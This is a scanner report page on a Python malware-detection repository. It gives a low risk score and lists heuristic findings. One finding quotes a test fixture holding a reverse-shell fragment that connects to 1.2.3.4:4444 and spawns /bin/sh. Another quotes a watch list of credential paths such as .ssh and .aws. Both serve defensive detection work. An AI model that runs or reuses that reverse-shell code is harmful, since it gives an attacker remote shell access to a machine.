github.com / momenbasel

momenbasel/malware-check

Python·48 files·commit 57df6c4·scanned 22h ago·cached ✓

29/100

LOW RISK

Minor findings consistent with the project type. Nothing reachable from install hooks.

verdict accurate?

threat-state: lowlive

FINDINGS ░▒▓

warningPython subprocess / os.system usageos.system() or subprocess with shell=True / suspicious commands can execute arbitrary shell commands. Plain pip/package installs are usually benign.tests/test_scanner.py

        's.connect(("1.2.3.4", 4444))\n'
        "subprocess.call(['/bin/sh', '-i'])\n"
    )

infoSuspicious files are not reachable from entry pointsFlagged files exist but are not imported by any entry point. They may be dead code, tests, or attack payloads triggered by another mechanism.+2

warningSSH/credential path accessAccessing .ssh, .aws/credentials, or .env files to steal authentication credentials.src/malware_check/analyzers/dynamic.py

        # File system modifications
        sensitive_paths = ["/etc/", "/root/", ".ssh/", ".aws/", ".config/", "crontab"]
        for f in result.files_created + result.files_modified:
            if...

warningHigh-entropy string literalsFound 3 long strings with high Shannon entropy. This is common in obfuscated payloads that hide URLs, keys, or bytecode.src/malware_check/analyzers/binary.py+3

warningHigh-entropy string literalsFound 23 long strings with high Shannon entropy. This is common in obfuscated payloads that hide URLs, keys, or bytecode.src/malware_check/analyzers/code.py+3

warningHigh-entropy string literalsFound 5 long strings with high Shannon entropy. This is common in obfuscated payloads that hide URLs, keys, or bytecode.src/malware_check/analyzers/decoder.py+3

Scores are heuristics. A “safe” verdict means no known-malicious patterns were found — clever malware can look boring. Wrong verdict? Flag it above; confirmed false positives become regression tests.

28 files scanned @ 57df6c4 | 10/28/2026 | heuristic scan — always review manually

risk by category

code execution6

network & exfiltration0

file system access5

obfuscation12

supply chain0

owasp / injection0

telemetry

files 28/48rules hit 6engine v7commit 57df6c4

github

momenbasel/malware-check

Static and dynamic analysis tool for detecting malicious code, suspicious binaries, and privacy violations

Python

199d

48 files

28 scanned(58%)

57df6c4

architecture░▒▓

entry (0) flagged (6) pkg (52)

79 nodes · 160 edgesscroll to zoom · click node to jump to finding